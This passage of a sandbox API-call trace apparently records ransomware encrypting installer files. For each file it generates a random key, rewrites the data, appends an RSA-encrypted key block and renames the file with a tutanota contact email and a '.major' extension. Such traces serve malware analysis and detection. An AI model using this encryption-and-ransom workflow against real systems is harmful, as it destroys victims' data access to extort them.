GetLastError () returned 0x0 [0141.103] SetLastError (dwErrCode=0x0) [0141.103] GetLastError () returned 0x0 [0141.103] SetLastError (dwErrCode=0x0) [0141.104] GetLastError () returned 0x0 [0141.104] SetLastError (dwErrCode=0x0) [0141.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ecb8 [0141.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0141.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0141.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b5730 [0141.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5730 | out: hHeap=0x570000) returned 1 [0141.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403c0 [0141.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403c0 | out: hHeap=0x570000) returned 1 [0141.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ecb8 | out: hHeap=0x570000) returned 1 [0141.104] FindNextFileW (in: hFindFile=0x5b57f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0141.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0141.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0141.104] GetLastError () returned 0x0 [0141.104] SetLastError (dwErrCode=0x0) [0141.104] GetLastError () returned 0x0 [0141.104] SetLastError (dwErrCode=0x0) [0141.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0141.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0141.104] GetLastError () returned 0x0 [0141.104] SetLastError (dwErrCode=0x0) [0141.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0141.104] FindNextFileW (in: hFindFile=0x5b57f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0141.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0141.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0141.104] GetLastError () returned 0x0 [0141.104] SetLastError (dwErrCode=0x0) [0141.104] GetLastError () returned 0x0 [0141.104] SetLastError (dwErrCode=0x0) [0141.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0141.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0141.105] GetLastError () returned 0x0 [0141.105] SetLastError (dwErrCode=0x0) [0141.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0141.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0141.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6778 [0141.105] FindNextFileW (in: hFindFile=0x5b57f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfffa48bd, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xfffa48bd, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xfffcabcd, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0141.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0141.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0141.105] GetLastError () returned 0x0 [0141.105] SetLastError (dwErrCode=0x0) [0141.105] GetLastError () returned 0x0 [0141.105] SetLastError (dwErrCode=0x0) [0141.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0141.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0141.105] GetLastError () returned 0x0 [0141.105] SetLastError (dwErrCode=0x0) [0141.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.105] FindNextFileW (in: hFindFile=0x5b57f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0141.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0141.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0141.105] GetLastError () returned 0x0 [0141.105] SetLastError (dwErrCode=0x0) [0141.105] GetLastError () returned 0x0 [0141.105] SetLastError (dwErrCode=0x0) [0141.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0141.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0141.105] GetLastError () returned 0x0 [0141.105] SetLastError (dwErrCode=0x0) [0141.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ebd8 [0141.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ebd8 | out: hHeap=0x570000) returned 1 [0141.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0141.105] FindNextFileW (in: hFindFile=0x5b57f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0141.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6508 [0141.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.105] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0141.105] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1049\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0141.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0141.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0141.106] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0141.106] CreateFileW (lpFileName="\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc [0141.106] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=18264) returned 1 [0141.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4758) returned 0x60d870 [0141.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4758) returned 0x611fd0 [0141.106] ReadFile (in: hFile=0x4cc, lpBuffer=0x60d870, nNumberOfBytesToRead=0x4758, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60d870*, lpNumberOfBytesRead=0x2e3f9b4*=0x4758, lpOverlapped=0x0) returned 1 [0141.172] SetFilePointer (in: hFile=0x4cc, lDistanceToMove=-18264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.172] WriteFile (in: hFile=0x4cc, lpBuffer=0x611fd0*, nNumberOfBytesToWrite=0x4758, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x611fd0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4758, lpOverlapped=0x0) returned 1 [0141.172] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d870 | out: hHeap=0x570000) returned 1 [0141.172] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x611fd0 | out: hHeap=0x570000) returned 1 [0141.172] SetFilePointer (in: hFile=0x4cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4758 [0141.172] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.172] WriteFile (in: hFile=0x4cc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.172] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0141.172] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0141.172] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0141.172] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0141.172] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="S9eZ/B5r8+m6EgRGzZu1CPEI8tQd6HVFv9HJkKvjT2NqHGX5ZWDOhXBMlqfBlBJe\nYU/7E9OO+6kPWMbFNlOgM1IVIzS0Ia/a0WlP7kbkmuhFOz5kaqZRneSRHsZ+d4Wa\nA+xIMdNwZRUuldFKnBtY0QnONJyO91LHR9tfnWd6NrzsY2oNnpHoOQxiAnoZKx15\noLpKHwDrJYkBHk67Z4krCmWNWan7kNYgqpClAMZwnb/w5DPlGu9V88gG+4PbVB9X\nLsVg6WYU81iQS28FtqKB8Ana75DYFKF5k/JFIaO8ZXSILWn7BPVZwuyKQQZqUYPU\nnltFXBrfdS9bIp0GxyT5mg==\n", pcchString=0x2e3f9a8) returned 1 [0141.173] WriteFile (in: hFile=0x4cc, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0141.173] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.173] WriteFile (in: hFile=0x4cc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.173] CloseHandle (hObject=0x4cc) returned 1 [0141.173] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0141.173] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1049\\SetupResources.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0141.174] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0141.174] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.174] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6508 | out: hHeap=0x570000) returned 1 [0141.174] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0141.174] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0141.174] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.174] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0141.174] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1049\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0141.174] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0141.175] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0141.175] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0141.175] CreateFileW (lpFileName="\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc [0141.175] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=81482) returned 1 [0141.175] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x13e4a) returned 0x60d870 [0141.175] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x13e4a) returned 0x2f40048 [0141.176] ReadFile (in: hFile=0x4cc, lpBuffer=0x60d870, nNumberOfBytesToRead=0x13e4a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60d870*, lpNumberOfBytesRead=0x2e3f9b4*=0x13e4a, lpOverlapped=0x0) returned 1 [0141.198] SetFilePointer (in: hFile=0x4cc, lDistanceToMove=-81482, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.198] WriteFile (in: hFile=0x4cc, lpBuffer=0x2f40048*, nNumberOfBytesToWrite=0x13e4a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f40048*, lpNumberOfBytesWritten=0x2e3f9b4*=0x13e4a, lpOverlapped=0x0) returned 1 [0141.199] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d870 | out: hHeap=0x570000) returned 1 [0141.200] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f40048 | out: hHeap=0x570000) returned 1 [0141.202] SetFilePointer (in: hFile=0x4cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x13e4a [0141.202] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.202] WriteFile (in: hFile=0x4cc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.202] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0141.202] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0141.203] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0141.203] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0141.203] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="kFczASRJ1PwyomO0I4HipiFS2yig2tyDOClOHeBgRl0TYMlDJO18Ln9r0r4UIIbs\nYyF5pq7WO6Mj8HZ5FdYWajKYFHfacslpRSy8Rc0p4t41OiD1kknVXpwMxIb1mmgJ\nbigMBORlyZees6u2mvEV6qcsLXgizqe/GJnPHmaMnAcBtkjOE1u7wDI9ZggK3xTk\nBtd6h6lCErxc6FIx8gxkSZNaZk6VxhVoHNi+zn7I9MAWyvbocBytSD3No+FT4tJ2\ngwqe5WmIZGBkTeYDB4Hx05wwlAUah1792GNtliDk2xaOADkY57yOp/OKsC2ioxXn\nzbDWxcI0iJXR4S+xvxDAng==\n", pcchString=0x2e3f9a8) returned 1 [0141.203] WriteFile (in: hFile=0x4cc, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0141.203] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.203] WriteFile (in: hFile=0x4cc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.203] CloseHandle (hObject=0x4cc) returned 1 [0141.203] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0141.203] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1049\\LocalizedData.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0141.205] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0141.205] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.205] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0141.205] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6778 | out: hHeap=0x570000) returned 1 [0141.205] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0141.205] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.205] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0141.205] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1049\\eula.rtf", dwFileAttributes=0x80) returned 1 [0141.205] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0141.205] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0141.206] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0141.206] CreateFileW (lpFileName="\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc [0141.206] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=54456) returned 1 [0141.206] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd4b8) returned 0x60d870 [0141.206] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd4b8) returned 0x2f40048 [0141.207] ReadFile (in: hFile=0x4cc, lpBuffer=0x60d870, nNumberOfBytesToRead=0xd4b8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60d870*, lpNumberOfBytesRead=0x2e3f9b4*=0xd4b8, lpOverlapped=0x0) returned 1 [0141.228] SetFilePointer (in: hFile=0x4cc, lDistanceToMove=-54456, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.228] WriteFile (in: hFile=0x4cc, lpBuffer=0x2f40048*, nNumberOfBytesToWrite=0xd4b8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f40048*, lpNumberOfBytesWritten=0x2e3f9b4*=0xd4b8, lpOverlapped=0x0) returned 1 [0141.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d870 | out: hHeap=0x570000) returned 1 [0141.230] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f40048 | out: hHeap=0x570000) returned 1 [0141.232] SetFilePointer (in: hFile=0x4cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xd4b8 [0141.232] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.232] WriteFile (in: hFile=0x4cc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.232] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0141.232] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0141.233] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0141.233] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0141.233] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="AD2/PONReuUoqewDm/D0KfDFjVws93hK16cbYewnuRgxEXQeYZgHge2T+Bd5UgWX\nfwCFhKcu1liWEHhf382lqrfsMYG5XNaSpA0E1gse4081LVm9246P8zNXBzL6D+rh\nGJEeXb3XvOVZ1E62RW5Mj9qzP3dNLWM4EL510N1tg6yjR1yDj6aPQbWMuYKperw2\nKCCl26HNFx2tX7FK8bR+4VoLsShQGw64FphVEp49OlaB/e1WeusvqwD6aiPBENlI\nnLee4w93HkWvIY9uakQwkqPTDfAznyNi4guzShJ1hy7esuwR/khqAo2QHHVVq4ty\nPZOR1EnjqQn6ISQ8pidoUQ==\n", pcchString=0x2e3f9a8) returned 1 [0141.233] WriteFile (in: hFile=0x4cc, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0141.233] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.233] WriteFile (in: hFile=0x4cc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.233] CloseHandle (hObject=0x4cc) returned 1 [0141.233] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0141.233] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1049\\eula.rtf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0141.235] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0141.235] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.235] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0141.235] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0141.235] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7720 [0141.235] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0141.235] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0141.235] HeapFree (in: 